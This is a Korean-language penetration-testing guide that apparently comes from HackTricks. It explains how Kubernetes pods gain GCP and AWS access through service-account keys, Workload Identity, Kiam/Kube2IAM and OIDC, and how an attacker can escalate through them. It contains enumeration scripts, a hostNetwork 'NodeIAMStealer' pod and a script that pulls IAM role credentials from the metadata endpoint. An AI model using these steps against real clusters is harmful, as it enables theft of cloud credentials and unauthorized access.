Kubernetes Pivoting to Clouds

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GCP

GCP 내에서 k8s 클러스터를 실행하는 경우, 클러스터 내에서 실행되는 일부 애플리케이션이 GCP에 접근할 수 있도록 하기를 원할 것입니다. 이를 수행하는 일반적인 방법은 2가지가 있습니다:

GCP-SA 키를 비밀로 마운트하기

kubernetes 애플리케이션에 GCP 접근 권한을 부여하는 일반적인 방법은 다음과 같습니다:

• GCP 서비스 계정 생성

• 원하는 권한을 바인딩

• 생성된 SA의 json 키 다운로드

• 포드 내에서 비밀로 마운트

• json이 있는 경로를 가리키는 GOOGLE_APPLICATION_CREDENTIALS 환경 변수를 설정

따라서 공격자로서 포드 내의 컨테이너를 손상시키면, GCP 자격 증명이 포함된 env 변수와 json 파일을 확인해야 합니다.

GSA json을 KSA 비밀에 연결하기

GKE 클러스터에 GSA 접근 권한을 부여하는 방법은 다음과 같이 바인딩하는 것입니다:

• 다음 명령을 사용하여 GKE 클러스터와 동일한 네임스페이스에 Kubernetes 서비스 계정을 생성합니다:

Copy codekubectl create serviceaccount <service-account-name>

• GKE 클러스터에 접근 권한을 부여할 GCP 서비스 계정의 자격 증명을 포함하는 Kubernetes Secret을 생성합니다. 다음 예제와 같이 gcloud 명령줄 도구를 사용하여 이 작업을 수행할 수 있습니다:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json

• 다음 명령어를 사용하여 Kubernetes Secret을 Kubernetes 서비스 계정에 바인딩합니다:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

두 번째 단계에서는 KSA의 비밀로 GSA의 자격 증명을 설정했습니다. 그런 다음, GKE 클러스터 내부에서 그 비밀을 읽을 수 있다면, 해당 GCP 서비스 계정으로 상승할 수 있습니다.

GKE 워크로드 아이덴티티

워크로드 아이덴티티를 사용하면 Kubernetes 서비스 계정을 Google 서비스 계정으로 작동하도록 구성할 수 있습니다. Kubernetes 서비스 계정으로 실행되는 파드는 Google Cloud API에 접근할 때 자동으로 Google 서비스 계정으로 인증됩니다.

이 동작을 활성화하기 위한 첫 번째 일련의 단계는 GCP에서 워크로드 아이덴티티를 활성화하는 것 (단계)과 k8s가 가장하고자 하는 GCP SA를 생성하는 것입니다.

• 새 클러스터에서 워크로드 아이덴티티 활성화

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog

• 새 노드풀 생성/업데이트 (오토파일럿 클러스터는 필요하지 않음)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1

• K8s에서 GCP 권한으로 가짜 GCP 서비스 계정을 생성합니다:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"

• 클러스터에 연결하고 사용할 서비스 계정을 생성합니다.

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing

• GSA를 KSA와 바인딩하기

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=[e-mail]

• KSA로 pod를 실행하고 GSA에 대한 접근을 확인합니다:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

다음 명령어를 확인하여 필요 시 인증하십시오:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

K8s 내부의 공격자로서 iam.gke.io/gcp-service-account 주석이 있는 SAs를 검색해야 합니다. 이는 SA가 GCP의 무언가에 접근할 수 있음을 나타냅니다. 또 다른 옵션은 클러스터 내의 각 KSA를 남용해보고 접근 권한이 있는지 확인하는 것입니다. GCP에서 항상 바인딩을 나열하고 Kubernetes 내 SAs에 어떤 접근 권한을 부여하고 있는지 아는 것이 흥미롭습니다.

이것은 주석을 찾기 위해 모든 포드 정의를 쉽게 반복하는 스크립트입니다:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM 역할을 위한 Pods)

Pods에 IAM 역할을 부여하는 (구식) 방법은 Kiam 또는 Kube2IAM 서버를 사용하는 것입니다. 기본적으로 클러스터에서 특권 IAM 역할의 데몬셋을 실행해야 합니다. 이 데몬셋은 필요한 Pods에 IAM 역할에 대한 접근을 제공하는 역할을 합니다.

먼저 네임스페이스 내에서 접근할 수 있는 역할을 구성해야 하며, 이는 네임스페이스 객체 내의 주석을 통해 수행합니다:

Kiam

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"

Kube2iam

apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

네임스페이스가 IAM 역할로 구성되면, 각 Pod 정의에서 원하는 역할을 다음과 같이 지정할 수 있습니다:

Kiam & Kube2iam

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

공격자로서, 만약 이 주석을 파드나 네임스페이스에서 발견하거나 kiam/kube2iam 서버가 실행되고 있다면(아마도 kube-system에서) 이미 사용 중인 모든 role을 가장할 수 있으며, 더 많은 것을 할 수 있습니다(만약 AWS 계정에 접근할 수 있다면 역할을 나열하십시오).

IAM 역할로 파드 생성

지정해야 할 IAM 역할은 kiam/kube2iam 역할과 동일한 AWS 계정에 있어야 하며, 그 역할은 이를 접근할 수 있어야 합니다.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

이것은 AWS에서 권장하는 방법입니다.

1. 먼저 클러스터에 대한 OIDC 공급자를 생성해야 합니다.

2. 그런 다음 SA에 필요한 권한으로 IAM 역할을 생성합니다.

3. IAM 역할과 SA 간의 신뢰 관계를 생성합니다 (또는 역할에 대한 접근을 모든 SA에 부여하는 네임스페이스). 신뢰 관계는 주로 OIDC 공급자 이름, 네임스페이스 이름 및 SA 이름을 확인합니다.

4. 마지막으로, 역할의 ARN을 나타내는 주석이 있는 SA를 생성하고, 해당 SA로 실행되는 파드는 역할의 토큰에 접근할 수 있습니다. 토큰은 파일에 기록되며 경로는 **AWS_WEB_IDENTITY_TOKEN_FILE**에 지정됩니다 (기본값: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

To get aws using the token from /var/run/secrets/eks.amazonaws.com/serviceaccount/token run:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

공격자로서 K8s 클러스터를 열거할 수 있다면, AWS로 상승하기 위해 그 주석이 있는 서비스 계정을 확인하십시오. 그렇게 하려면, IAM 특권 서비스 계정 중 하나를 사용하여 pod를 exec/create하고 토큰을 훔치면 됩니다.

또한, pod 내부에 있다면 AWS_ROLE_ARN 및 AWS_WEB_IDENTITY_TOKEN과 같은 환경 변수를 확인하십시오.

때때로 역할의 신뢰 정책이 잘못 구성되어 예상되는 서비스 계정에 AssumeRole 액세스를 부여하는 대신 모든 서비스 계정에 부여할 수 있습니다. 따라서 제어된 서비스 계정에 주석을 작성할 수 있다면, 해당 역할에 접근할 수 있습니다.

자세한 정보는 다음 페이지를 확인하십시오:

AWS - Federation Abuse

클러스터에서 IAM 역할이 있는 SAs의 Pods 찾기

이 스크립트는 모든 pod와 sa 정의를 쉽게 반복하여 그 주석을 찾는 것입니다:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

이전 섹션은 pods로 IAM Roles를 훔치는 방법에 대한 것이었지만, K8s 클러스터의 Node는 클라우드 내의 인스턴스가 될 것임을 주목해야 합니다. 이는 Node가 훔칠 수 있는 새로운 IAM 역할을 가질 가능성이 높다는 것을 의미합니다 (일반적으로 K8s 클러스터의 모든 노드는 동일한 IAM 역할을 가지므로 각 노드를 확인하려고 시도하는 것이 그다지 가치가 없을 수 있습니다).

그러나 노드에서 메타데이터 엔드포인트에 접근하기 위한 중요한 요구 사항이 있습니다. 노드에 있어야 하거나 (ssh 세션?) 최소한 동일한 네트워크에 있어야 합니다:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAM 역할 토큰 훔치기

이전에 우리는 IAM 역할을 Pods에 연결하는 방법 또는 노드로 탈출하여 인스턴스에 연결된 IAM 역할을 훔치는 방법에 대해 논의했습니다.

다음 스크립트를 사용하여 새로 열심히 작업한 IAM 역할 자격 증명을 훔칠 수 있습니다:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

References

• https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity

• https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c

• https://blogs.halodoc.io/iam-roles-for-service-accounts-2/

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

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